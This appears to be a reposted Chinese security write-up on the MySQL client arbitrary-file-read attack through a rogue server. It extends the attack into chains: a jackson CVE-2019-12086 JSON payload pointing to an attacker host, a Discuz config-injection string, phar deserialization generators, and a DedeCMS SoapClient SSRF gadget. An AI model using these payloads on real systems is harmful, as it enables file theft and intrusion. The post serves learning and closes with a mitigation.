天天看點

Mysql Client 任意檔案讀取攻擊鍊拓展

Load data infile

首先認識一下一個文法:

Load data infile

我們看下mysql手冊是如何定義的。

LOAD DATA
    [LOW_PRIORITY | CONCURRENT] [LOCAL]
    INFILE 'file_name'
    [REPLACE | IGNORE]
    INTO TABLE tbl_name
    [PARTITION (partition_name [, partition_name] ...)]
    [CHARACTER SET charset_name]
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]
    [IGNORE number {LINES | ROWS}]
    [(col_name_or_user_var
        [, col_name_or_user_var] ...)]
    [SET col_name={expr | DEFAULT},
        [, col_name={expr | DEFAULT}] ...]           

複制

基本用法(導入檔案test.txt到table1表中,txt檔案中的行分隔符為\r\n,預設tab鍵為字段分隔符,txt檔案中的每個字段按順序對應column1、column2,。。。導入表中)

load data infile "/test.txt" into table1 lines terminated by '\r\n' (colunm1,colunm2,...)           

複制

如果字段分隔符不是tab,可加入:fields terminated by ‘分隔符’

知道了該文法的基本用法之後,我們看一下在滲透中的用法,也就是讀檔案。

load data infile "C:\2.txt" into table test FIELDS TERMINATED BY '\n';           

複制

不過需要file權限以及收到 --secure-file-priv的限制。

Mysql Client 任意檔案讀取攻擊鍊拓展

加入local之後就可以了

Mysql Client 任意檔案讀取攻擊鍊拓展
Mysql Client 任意檔案讀取攻擊鍊拓展

說明:MySQl的版本不得低于3.22.15,否則load data local不起作用,以及local_infile參數為on

Mysql Client 任意檔案讀取攻擊鍊拓展

流程

網上有很多相關的原理我這裡就不過多贅述了,然後原理懂得之後,我們其實就可以進行利用了。一張圖了解大概的流程;

Mysql Client 任意檔案讀取攻擊鍊拓展

然後我這裡使用phpstudy的phpmyadmin做示範,嫌麻煩的可以用vulnspy的線上環境,

需要的是操作步驟:修改phpMyAdmin目錄下的 /libraries/config.default.php

/**
 * allow login to any user entered server in cookie based authentication
 *
 * @global boolean $cfg[‘AllowArbitraryServer’]
 */
$cfg[‘AllowArbitraryServer’] = true;           

複制

将預設值false修改為true;

POC

然後遠端啟動rogue_mysql_server,在phpmyadmin的登入處填寫自己的惡意伺服器位址,帳号密碼随意,即可擷取到讀取的檔案(在惡意mysql中自行制定),在本目錄下生成mysql.log檔案,裡面包含讀取到的檔案内容

Mysql Client 任意檔案讀取攻擊鍊拓展

影響範圍

下面是一些受影響的範圍:

底層應用

用戶端 是否影響
mysql client 1 pwned
php mysqli pwned,fixed by 7.3.4
php pdo 預設禁用
python MySQLdb pwned
python mysqlclient pwned
java JDBC Driver pwned,部分條件下預設禁用
navicat pwned

探針

探針名稱 是否影響
雅黑PHP探針 失敗
iprober2 探針 失敗
PHP探針 for LNMP一鍵安裝包 失敗
UPUPW PHP 探針 失敗

雲服務商 雲資料庫 資料遷移服務

服務商 是否影響
騰訊雲 DTS 失敗 禁用Load data local
阿裡雲 RDS 資料遷移 失敗 禁用Load data local
華為雲 RDS DRS服務 成功
京東雲 RDS 不支援遠端遷移功能分布式關系資料庫未開放
UCloud RDS 不支援遠端遷移功能,分布式關系資料庫不能對外資料同步
QiNiu雲 RDS 不支援遠端遷移功能
新睿雲 RDS 不支援遠端遷移功能
網易雲 RDS 外部執行個體遷移 成功
金山雲 RDS DTS資料遷移 成功
青雲Cloud RDS 資料導入 失敗,禁用load data local
百度Cloud RDS DTS 成功
Google could SQL資料庫 遷移失敗 禁用Load data infile
AWS RDS DMS服務 成功

Excel online sql查詢

header 1 header 2
WPS failed(沒找到這個功能)
Microsoft excel failed(禁用了infile語句)
Google 表格 插件Supermetrics pwned
Advanced CFO Solutions MySQL Query failed
SeekWell failed
Skyvia Query Gallery failed
database Borwser failed
Kloudio pwned

拓展

CVE-2019-12086 jackson任意檔案讀取漏洞

CVE-2019-12086:在2.9.9之前的FasterXML jackson-databind 2.x中發現了漏洞。在開啟Default Typing的情況下,且classpath中存在mysql-connector-java 8.0.15版本(2019.2.1釋出)以下,攻擊者可以通過發送惡意json資料讀取任意檔案。mysql-connector-java這個庫就是連接配接資料庫時常用的mysql jdbc。這是因為缺少com.mysql.cj.jdbc.admin.MiniAdmin驗證。

其實這個漏洞主要還是Mysql的鍋,在com.mysql.cj.jdbc.admin.MiniAdmin的構造函數接受一個string的值,這個值代表jdbcURL,com.mysql.cj.jdbc.admin.MiniAdmin類在初始化會連接配接這個jdbcURL中指定的MySQL資料庫。

payload:

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]           

複制

Mysql Client 任意檔案讀取攻擊鍊拓展

任意檔案讀 with 配置檔案洩露

在Discuz x3.4的配置中存在這樣兩個檔案

config/config_ucenter.php
config/config_global.php           

複制

在dz的背景,有一個ucenter的設定功能,這個功能中提供了ucenter的資料庫伺服器配置功能,通過配置資料庫連結惡意伺服器,可以實作任意檔案讀取擷取配置資訊。

Mysql Client 任意檔案讀取攻擊鍊拓展

配置ucenter的通路位址。

原位址:http://localhost:8086/upload/uc_server
修改為:http://localhost:8086/upload/uc_server\');phpinfo();//
           

複制

當我們獲得了authkey之後,我們可以通過admin的uid以及鹽來計算admin的cookie。然後用admin的cookie以及UC_KEY來通路即可生效

Mysql Client 任意檔案讀取攻擊鍊拓展

任意檔案讀 to 反序列化

2018年BlackHat大會上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper議題,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。

在該議題中提到,在PHP中存在一個叫做Stream API,通過注冊拓展可以注冊相應的僞協定,而phar這個拓展就注冊了phar://這個stream wrapper。

首先需要一個生成一個phar

pphar.php
<?php
class A {
    public $s = '';
    public function __wakeup () {
        echo "pwned!!";
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //字尾名必須為phar
$phar->startBuffering();
$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //設定stub
$o = new A();
$phar->setMetadata($o); //将自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的檔案
//簽名自動計算
$phar->stopBuffering();
?>           

複制

使用該檔案生成一個phar.phar

然後我們模拟一次查詢

test.php
<?php
class A {
    public $s = '';
    public function __wakeup () {
        echo "pwned!!";
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);
$p = mysqli_query($m, 'select 1;');
// file_get_contents('phar://./phar.phar');           

複制

圖中我們隻做了select 1查詢,但我們僞造的evil mysql server中驅使mysql client去做load file local查詢,讀取了本地的

phar://./phar.phar
           

複制

成功觸發反序列化

Mysql Client 任意檔案讀取攻擊鍊拓展

反序列化 to RCE

當一個反序列化漏洞出現的時候,我們就需要從源代碼中去尋找合适的pop鍊,建立在pop鍊的利用基礎上,我們可以進一步的擴大反序列化漏洞的危害。

php序列化中常見的魔術方法有以下

•當對象被建立的時候調用:__construct•當對象被銷毀的時候調用:__destruct•當對象被當作一個字元串使用時候調用:__toString•序列化對象之前就調用此方法(其傳回需要是一個數組):__sleep•反序列化恢複對象之前就調用此方法:__wakeup•當調用對象中不存在的方法會自動調用此方法:__call•配合與之相應的pop鍊,我們就可以把反序列化轉化為RCE。

dedecms 背景反序列化漏洞 to SSRF

dedecms 背景,子產品管理,安裝UCenter子產品。開始配置

Mysql Client 任意檔案讀取攻擊鍊拓展

首先需要找一個确定的UCenter服務端,可以通過找一個dz的站來做服務端。

Mysql Client 任意檔案讀取攻擊鍊拓展

然後就會觸發任意檔案讀取,當然,如果讀取檔案為phar,則會觸發反序列化。

我們需要先生成相應的phar

<?php
class Control
{
    var $tpl;
    // $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));
    public $dsql;
    function __construct(){
        $this->dsql = new SoapClient(null,array('uri'=>'http://xxxx:5555', 'location'=>'http://xxxx:5555/aaa'));
    }
    function __destruct() {
        unset($this->tpl);
        $this->dsql->Close(TRUE);
    }
}
@unlink("dedecms.phar");
$phar = new Phar("dedecms.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設定stub,增加gif檔案頭
$o = new Control();
$phar->setMetadata($o); //将自定義meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的檔案
//簽名自動計算
$phar->stopBuffering();
?>           

複制

然後我們可以直接通過前台上傳頭像來傳檔案,或者直接背景也有檔案上傳接口,然後将rogue mysql server來讀取這個檔案

phar://./dedecms.phar/test.txt
           

複制

監聽5555可以收到

Mysql Client 任意檔案讀取攻擊鍊拓展
Mysql Client 任意檔案讀取攻擊鍊拓展

修複方式

對于大多數mysql的用戶端來說,load file local是一個無用的語句,他的使用場景大多是用于傳輸資料或者上傳資料等。對于用戶端來說,可以直接關閉這個功能,并不會影響到正常的使用。

都是學習筆記,原文位址:https://www.lorexxar.cn/2020/01/14/css-mysql-chain/